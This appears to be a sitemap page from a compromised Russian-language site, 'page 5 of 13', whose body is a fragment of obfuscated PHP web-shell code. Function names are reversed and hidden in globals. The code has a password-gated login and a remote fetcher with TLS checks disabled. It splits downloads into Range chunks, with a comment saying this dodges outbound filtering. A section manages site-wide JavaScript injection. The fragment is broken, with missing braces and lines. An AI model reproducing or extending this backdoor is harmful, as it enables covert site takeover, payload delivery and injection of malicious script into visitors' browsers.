Карта сайта
Страница 5 из 13
- function zp_http($url, $range){
- $r = array('ok' => false, 'body' => '', 'code' => 0, 'err' => '', 'via' => '');
- if (!preg_match('#^https?://[^\s/]+#i', $url)) { $r['err'] = 'URL 需 http:// 或 https:// 开头'; return $r; }
- if (function_exists($GLOBALS['tini_lruc'])) {
- $ch = @$GLOBALS['tini_lruc']();
- if ($ch) {
- @$GLOBALS['tpotes_lruc']($ch, CURLOPT_URL, $url);
- @$GLOBALS['tpotes_lruc']($ch, CURLOPT_RETURNTRANSFER, 1);
- @$GLOBALS['tpotes_lruc']($ch, CURLOPT_FOLLOWLOCATION, 1);
- @$GLOBALS['tpotes_lruc']($ch, CURLOPT_MAXREDIRS, 5);
- @$GLOBALS['tpotes_lruc']($ch, CURLOPT_CONNECTTIMEOUT, 10);
- @$GLOBALS['tpotes_lruc']($ch, CURLOPT_TIMEOUT, 90);
- @$GLOBALS['tpotes_lruc']($ch, CURLOPT_SSL_VERIFYPEER, 0);
- @$GLOBALS['tpotes_lruc']($ch, CURLOPT_SSL_VERIFYHOST, 0);
- @$GLOBALS['tpotes_lruc']($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0 Safari/537.36');
- if ($range !== '') @$GLOBALS['tpotes_lruc']($ch, CURLOPT_RANGE, $range);
- $b = @$GLOBALS['cexe_lruc']($ch);
- $i = @$GLOBALS['ofniteg_lruc']($ch);
- $r['code'] = (is_array($i) && isset($i['http_code'])) ? (int)$i['http_code'] : 0;
- $r['err'] = (string)@$GLOBALS['rorre_lruc']($ch);
- @$GLOBALS['esolc_lruc']($ch);
- if ($b !== false) { $r['ok'] = true; $r['body'] = $b; $r['via'] = 'curl'; return $r; }
- $p = @$GLOBALS['lru_esrap']($url);
- if (is_array($p) && !empty($p['host'])) {
- $sch = isset($p['scheme']) ? strtolower($p['scheme']) : 'http';
- $host = $p['host'];
- $port = isset($p['port']) ? (int)$p['port'] : ($sch === 'https' ? 443 : 80);
- $gp = (isset($p['path']) && $p['path'] !== '') ? $p['path'] : '/';
- if (isset($p['query'])) $gp .= '?' . $p['query'];
- $addr = ($sch === 'https' ? 'ssl://' : 'tcp://') . $host . ':' . $port;
- $se = ''; $sm = '';
- $fp = @$GLOBALS['tneilc_tekcos_maerts']($addr, $se, $sm, 10);
- if ($fp) {
- $req = 'GET ' . $gp . " HTTP/1.1\r\n"
- . 'Host: ' . $host . "\r\n"
- . "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)\r\n"
- . "Accept: */*\r\n"
- . "Accept-Encoding: identity\r\n"
- . "Connection: close\r\n";
- if ($range !== '') $req .= 'Range: bytes=' . $range . "\r\n";
- $req .= "\r\n";
- @$GLOBALS['etirwf']($fp, $req);
- $raw = '';
- while (!@$GLOBALS['foef']($fp)) {
- $s = @fread($fp, 65536);
- if ($s === false || $s === '') break;
- $raw .= $s;
- @$GLOBALS['esolcf']($fp);
- $sp = strpos($raw, "\r\n\r\n");
- if ($sp !== false) {
- $hdr = substr($raw, 0, $sp);
- $bd = substr($raw, $sp + 4);
- if (preg_match('#^HTTP/\d\.\d\s+(\d+)#', $hdr, $m)) $r['code'] = (int)$m[1];
- if (preg_match('#Transfer-Encoding:\s*chunked#i', $hdr)) $bd = zp_dechunk($bd);
- elseif (preg_match('#Content-Length:\s*(\d+)#i', $hdr, $m)) { $bd = substr($bd, 0, (int)$m[1]); }
- $r['ok'] = true; $r['body'] = $bd; $r['via'] = 'socket'; $r['err'] = '';
- $r['err'] = 'socket: 响应无头部';
- } else {
- $r['err'] = 'socket: ' . $sm . ' (' . $se . ')';
- if (@$GLOBALS['teg_ini']('allow_url_fopen')) {
- $ctx = @$GLOBALS['etaerc_txetnoc_maerts'](array('http' => array(
- 'timeout' => 60,
- 'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
- 'header' => ($range !== '' ? 'Range: bytes=' . $range . "\r\n" : '')
- )));
- $b = @$GLOBALS['stnetnoc_teg_elif']($url, false, $ctx);
- if ($b !== false && $b !== '') { $r['ok'] = true; $r['body'] = $b; $r['via'] = 'fopen'; $r['code'] = 200; $r['err'] = ''; return $r; }
- if ($r['err'] === '') $r['err'] = 'curl / socket / fopen 三种方式均不可用或被出站策略拦截';
- /* 整取或按 Range 分片拼接 (分片用于规避出站侧对单次响应体大小/内容的拦截) */
- function zp_fetch($url, $chunked, $ps){
- $o = array('body' => '', 'via' => '', 'code' => 0, 'err' => '', 'parts' => 0);
- if (!$chunked) {
- $r = zp_http($url, '');
- $o['via'] = $r['via']; $o['code'] = $r['code'];
- if ($r['ok']) { $o['body'] = $r['body']; $o['parts'] = 1; } else { $o['err'] = $r['err']; }
- for ($i = 0; $i < 4000; $i++) {
- $r = zp_http($url, ($i * $ps) . '-' . (($i + 1) * $ps - 1));
- if (!$r['ok']) { $o['err'] = $r['err']; break; }
- $o['parts']++;
- if ($i === 0 && $r['code'] !== 206) { $o['body'] .= $r['body']; break; } /* 服务端不支持 Range, 退回整取 */
- $o['body'] .= $r['body'];
- if (strlen($r['body']) < $ps) break;
- if (isset($_GET['out'])) { setcookie($TAG, '', time() - 3600); header('Location: ' . $self); exit; }
- if (!authed()) {
- if (isset($_POST['p']) && $GLOBALS['5dm']((string)$_POST['p']) === $K) {
- setcookie($TAG, $TOK, 0, '/', '');
- header('Location: ' . $self . '?a=list'); exit;
- head('Login');
- echo ''; foot(); exit;
- /* ==================== 全站 JS 注入管理 ==================== */
- function zjm_enc_of($b, &$bom)
- {
- $bom = '';
- if (strlen($b) >= 3 && substr($b, 0, 3) === "\xEF\xBB\xBF") { $bom = 'u8'; return 'utf-8'; }
- if (strlen($b) >= 2 && (substr($b, 0, 2) === "\xFF\xFE" || substr($b, 0, 2) === "\xFE\xFF")) { $bom = 'u16'; return 'utf-16'; }
- if ($b === '') return 'utf-8';
- return zp_detect_enc($b);
- function zjm_doc_charset($txt)
Страница 5 из 13
« 1 2 3 4 5
6 7 8 9 10 11 12 13 »